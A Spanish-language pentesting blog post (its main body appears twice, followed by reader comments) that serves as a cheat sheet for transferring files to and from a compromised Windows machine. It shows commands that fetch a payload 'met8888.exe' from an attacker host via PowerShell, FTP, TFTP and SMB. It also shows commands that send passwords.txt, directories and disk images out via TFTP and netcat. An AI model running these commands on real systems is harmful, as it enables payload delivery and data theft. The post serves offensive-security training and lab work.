Es muy frecuente tener que subir una herramienta o un payload que hemos generado a una máquina comprometida previamente, normalmente porque hemos obtenido una shell y necesitamos escalar privilegios y/o instalar un túnel para pivotar (si se trata de una intrusión real o un laboratorio con más niveles).
Lo más frecuente es levantar un sencillo servidor web con Apache o python (SimpleHTTPServer) en la máquina del atacante y descargar el binario en cuestión con un curl o wget. Pero pudiera darse el caso que no tuvieramos Apache instalado o ni si quiera Python, por lo que debemos contemplar otras alternativas como FTP, TFTP o SMB, que además nos permiten transferir archivos de forma bidireccional, algo útil incluso para exfiltración de datos.
En el blog de Ronnie Flathers aka ropnop veíamos una especie de cheatsheet para utilizar estos protocolos/métodos para transferir archivos de Linux a Windows que nunca viene mal tener a mano...:
HTTP
Servidor (atacante)
- Opción 1 (apache)
copiar archivo a /var/www/html (document root por defecto)
service apache2 start
- Opción 2 (módulo python SimpleHTTPServer)
python -m SimpleHTTPServer 80 (por defecto puerto 8000)
Cliente (víctima)
- Opción 1 (descargar desde el navegador o wget)
http://TU-IP-DE-KALI/met8888.exe
- Opción 2 (powershell)
(new-object System.Net.WebClient).DownloadFile('http://10.9.122.8/met8888.exe','C:\Users\hpys\Desktop\met8888.exe')
FTP
Servidor (atacante)
- Opción 1 (python-pyftpdlib)
apt-get install python-pyftpdlib
python -m pyftpdlib -p 21
- Opción 2 (metasploit)
msf > use auxiliary/server/ftp
msf auxiliary(ftp) > set FTPROOT /root/shells
msf auxiliary(ftp) > exploit
Cliente (víctima)
- Opción 1 (manual)
ftp 10.9.122.8
binary
get met8888.exe
bye
- Opción 2 (script)
Editar fichero ftp_commands.txt:
open 10.9.122.8
anonymous
whatever
binary
get met8888.exe
bye
Ejecutar:
ftp -s:ftp_commands.txt
- Opción 3 (script - comando en una línea):
TFTP
Servidor (atacante)
- Opción 1 (atftpd)
service atftpd start
- Opción 2 (metasploit)
msf > use auxiliary/server/tftp
msf auxiliary(ftp) > set TFTPROOT /root/shells
msf auxiliary(ftp) > exploit
Cliente (víctima)
instalar: pkgmgr /iu:"TFTP"
tftp -i 10.9.122.8 GET met8888.exe
tftp -i 10.9.122.8 PUT passwords.txt
SMB
Servidor (atacante)
https://github.com/CoreSecurity/impacket
# python smbserver.py ROPNOP /root/shells
Cliente (víctima)
- Opción 1 (Linux)
smbclient -L 10.9.122.8 --no-pass
- Opción 2 (Windows):
netview \\10.9.122.8
copy \\10.9.122.8\ROPNOP\met8888.exe .
(o ejecutar directamente)
Netcat
Servidor (atacante)
- Opción 1
# nc -l -p 1234 > out.file
- Opción 2 (compresión)
# nc -l -p 1234 | uncompress -c | tar xvfp -
- Opción 3 (imagen completa)
# nc 10.9.122.8 3333 | pv -b > hdImage.img.gz
Cliente (víctima)
- Opción 1
$ nc -w 3 10.9.122.8 1234 < out.file
- Opción 2 (compresión):
$ tar cfp - /some/dir | compress -c | nc -w 3 10.9.122.8 1234
- Opción 2 (imagen completa):
$ dd if=/dev/hda3 | gzip -9 | nc -l 3333
Y hasta aquí el repaso a los métodos más comunes para la transferencia de archivos desde Linux a Windows... si conoces otro método no lo dudes y comenta!
Lo más frecuente es levantar un sencillo servidor web con Apache o python (SimpleHTTPServer) en la máquina del atacante y descargar el binario en cuestión con un curl o wget. Pero pudiera darse el caso que no tuvieramos Apache instalado o ni si quiera Python, por lo que debemos contemplar otras alternativas como FTP, TFTP o SMB, que además nos permiten transferir archivos de forma bidireccional, algo útil incluso para exfiltración de datos.
En el blog de Ronnie Flathers aka ropnop veíamos una especie de cheatsheet para utilizar estos protocolos/métodos para transferir archivos de Linux a Windows que nunca viene mal tener a mano...:
HTTP
Servidor (atacante)
- Opción 1 (apache)
copiar archivo a /var/www/html (document root por defecto)
service apache2 start
- Opción 2 (módulo python SimpleHTTPServer)
python -m SimpleHTTPServer 80 (por defecto puerto 8000)
Cliente (víctima)
- Opción 1 (descargar desde el navegador o wget)
http://TU-IP-DE-KALI/met8888.exe
- Opción 2 (powershell)
(new-object System.Net.WebClient).DownloadFile('http://10.9.122.8/met8888.exe','C:\Users\hpys\Desktop\met8888.exe')
FTP
Servidor (atacante)
- Opción 1 (python-pyftpdlib)
apt-get install python-pyftpdlib
python -m pyftpdlib -p 21
- Opción 2 (metasploit)
msf > use auxiliary/server/ftp
msf auxiliary(ftp) > set FTPROOT /root/shells
msf auxiliary(ftp) > exploit
Cliente (víctima)
- Opción 1 (manual)
ftp 10.9.122.8
binary
get met8888.exe
bye
- Opción 2 (script)
Editar fichero ftp_commands.txt:
open 10.9.122.8
anonymous
whatever
binary
get met8888.exe
bye
Ejecutar:
ftp -s:ftp_commands.txt
- Opción 3 (script - comando en una línea):
C:\Users\hpys\Desktop>echo open 10.9.122.8>ftp_commands.txt&echo anonymous>>ftp_commands.txt&echo password>>ftp_commands.txt&echo binary>>ftp_commands.txt&echo get met8888.exe>>ftp_commands.txt&echo bye>>ftp_commands.txt&ftp -s:ftp_commands.txt
TFTP
Servidor (atacante)
- Opción 1 (atftpd)
service atftpd start
- Opción 2 (metasploit)
msf > use auxiliary/server/tftp
msf auxiliary(ftp) > set TFTPROOT /root/shells
msf auxiliary(ftp) > exploit
Cliente (víctima)
instalar: pkgmgr /iu:"TFTP"
tftp -i 10.9.122.8 GET met8888.exe
tftp -i 10.9.122.8 PUT passwords.txt
SMB
Servidor (atacante)
https://github.com/CoreSecurity/impacket
# python smbserver.py ROPNOP /root/shells
Cliente (víctima)
- Opción 1 (Linux)
smbclient -L 10.9.122.8 --no-pass
- Opción 2 (Windows):
netview \\10.9.122.8
copy \\10.9.122.8\ROPNOP\met8888.exe .
(o ejecutar directamente)
Netcat
Servidor (atacante)
- Opción 1
# nc -l -p 1234 > out.file
- Opción 2 (compresión)
# nc -l -p 1234 | uncompress -c | tar xvfp -
- Opción 3 (imagen completa)
# nc 10.9.122.8 3333 | pv -b > hdImage.img.gz
Cliente (víctima)
- Opción 1
$ nc -w 3 10.9.122.8 1234 < out.file
- Opción 2 (compresión):
$ tar cfp - /some/dir | compress -c | nc -w 3 10.9.122.8 1234
- Opción 2 (imagen completa):
$ dd if=/dev/hda3 | gzip -9 | nc -l 3333
Y hasta aquí el repaso a los métodos más comunes para la transferencia de archivos desde Linux a Windows... si conoces otro método no lo dudes y comenta!
muy util, muchas gracias!
ResponderEliminarnetcat?
ResponderEliminarostia, cierto! en cuanto pueda actualizo el post
EliminarLa semana pasada estuve leyendo el "Packet Wars" de @nebu73 aquí: https://www.fwhibbit.es/honeycon17
ResponderEliminarEn él se juega con Scapy para personalizar el buffer de datos de un PING con un mensaje, y ahora pensando en maneras de transmitir y exfiltrar se me acaba de ocurrir que podríamos serializar un binario, enviarlo partido en paquetes ICMP y recomponerlos con una herramienta que capture los PING, los deserialice y los una de Nuevo.
Puede que esté hecho ya, o puede que no sea viable, pero no me parece una mala idea.